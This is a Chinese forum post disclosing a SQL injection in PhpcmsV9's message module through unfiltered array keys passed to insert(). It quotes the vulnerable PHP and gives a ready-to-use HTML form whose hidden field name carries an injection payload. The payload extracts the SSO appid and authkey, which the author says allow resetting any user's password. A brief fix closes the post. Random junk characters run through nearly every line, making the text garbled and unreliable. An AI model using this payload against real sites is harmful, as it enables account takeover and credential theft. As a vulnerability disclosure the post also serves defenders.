找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
简要描述:
5 g1 Q& x& C; b$ Z6 R2 z6 T* W* \2 s1 J9 u& G! t
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( z. C" z7 F" {

. h$ k. l0 b, n2 M1 p0 c; `明天再更新下一个漏洞。7 `) v2 [9 l+ p- U
详细说明:' F7 ]" s2 ~( f% t
在/phpcms9/phpcms/modules/message/index.php中有代码如下:, G$ v$ _/ s* K! J- f8 _7 {  X
% S3 x+ {6 d/ G( Q5 G# [
$messageid = $this->message_db->insert($_POST['info'],true);
4 a$ Y6 T& u# z; y$ L" K5 A3 H  _' F! a2 ~& l; _1 W
3 T: Z" L& h$ S. C$ t" q
insert方法是key value的,代码如下:
6 _- ~7 M8 y, I; W6 \/ M  M5 R3 I1 m
public function insert($data, $table, $return_insert_id = false, $replace = false) {$ V$ ~: o9 k2 y3 a4 e# C- |% ?$ U
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 p6 D& V6 R4 m8 a: r8 F5 i6 B                        return false;
* ]" M) ?4 |5 R1 C; [* n& O/ _                }: e: d% v% y7 Y8 E$ {
               
! p- k+ M3 V; ?) d; b0 N6 x                $fielddata = array_keys($data);
9 k/ B7 ?9 W+ X8 ~+ x                $valuedata = array_values($data);
: y# J4 l* A3 _9 Y) K. d                array_walk($fielddata, array($this, 'add_special_char'));$ _- v6 a4 H4 e
                array_walk($valuedata, array($this, 'escape_string'));# m$ o2 u3 M7 m# b8 ^+ _- q
               
# F! ?7 G4 n8 X7 ?( j+ X                $field = implode (',', $fielddata);( {. e( T- s0 U/ a& H8 l
                $value = implode (',', $valuedata);
+ l5 W- q7 U3 p) t2 K# u: P# `+ `" S; S+ H5 m
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
  ~7 D. s2 t" Z/ D% }0 }4 Z4 N5 C                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';  g' t* k/ j8 P' o
                $return = $this->execute($sql);
4 T! [& [& b5 _7 V                return $return_insert_id ? $this->insert_id() : $return;" K$ z+ W) C) C3 a  k& Z' }
        }
/ T0 V; x9 O/ _' P3 n: {7 z5 u5 F8 H+ w% ^
  @, M5 y, m+ G0 _3 ]& d9 K
嗯,很遗憾的是. y' h3 \, p3 [3 O7 {) u

* K6 X- O: i& I1 l& R$ ?- Tarray_walk($fielddata, array($this, 'add_special_char'));
! v$ q* G& S; a- K* E
$ U; I/ B% R' y9 L$ q. X5 M
: N8 n1 C  m$ E- p中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
3 m- B2 p: o5 r* d  j% j" D+ \& \
  W" w% ?3 c% l$ e7 B; q到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。) }) T+ B6 j5 \( `3 @, r+ b! U  B
; y% Z9 t- V: G
漏洞证明:
1 b+ L3 B0 y0 ?: c% o; l3 p读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。0 F" D9 X( ^' @4 R& ^8 s2 `

* p2 t* B) M4 {1 {  P8 }; ~& L. {4 U5 {) z* c3 H7 B7 D
表单如下:用户名什么的得自己改一改。
) `  L9 ~* e* x3 b' V<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
3 h; S* E1 v2 t& ?3 x<table width="100%" cellspacing="0" class="table_form">
$ S  K  D9 d' K* X/ [7 M<tr>
( Q! s8 d2 [! M. L<th>标 题:</th># y" d/ \/ z  P# c: v- \
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
0 g) d; n# C! B7 r, b0 e4 A</tr> + G* }+ n. I: O& ]- m& D7 b5 P. Q$ ^
<tr>
; v) Q  [6 _( H% _<th>内 容:</th>( ]# A5 t# V' L  F7 W
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>. n/ a& \: U4 R. ~7 e- {6 q5 p
</tr>, `0 A$ z" C: e; j: H- D
<input type="hidden" name="info[replyid]" value="2" />
+ W5 q! p( q0 \, Z; i<input type="hidden" name="info[send_to_id]" value="cc" />
; n* _$ T# ?  R0 X<input type="hidden" name="info[send_from_id]" value="hh">
# f" S/ S- F% g/ C3 w  P<!-- 漏洞的利用重点在这里开始 -->/ w3 N* e! P* b# g/ n6 O/ y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> + a; W7 c. _) k9 w1 ?8 @6 R. U+ y
<!-- 漏洞的利用重点在这里结束 -->
7 W. R/ i' g+ q! B9 A0 u<tr>
' G3 `$ A& P2 d1 E( `( ~<th>验证码:</th>- C3 D8 a$ A9 e: w% g; E, K
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># ~* A0 X' ~, o* {
</tr>
+ x- c4 B- Z0 I( _1 S* N4 h<tr>6 w  b  j* L9 {  |
<td></td>
4 W/ \) }% ?0 U* ^1 `$ Z<td colspan="2"><label>
; l3 c' ]9 o2 L1 S" L<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
' o5 W0 i6 o3 f" h( {: K</label></td>
; [( u' o) q  b$ |$ h</tr>
6 l; w- g! T, I% o! l1 S" Z</table>1 q' Y1 m6 ]+ s( u6 k
</form>
7 o5 o! @( P3 u4 b# ]# i& `在add_special_char函数内对key做过滤就可以了。- S6 o0 Z, E* x9 a5 @

# F2 D# {' \) d
3 t6 a% n/ @9 g+ B6 D1 P; P
+ I7 e: I3 G% m9 V8 }9 |5 o

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表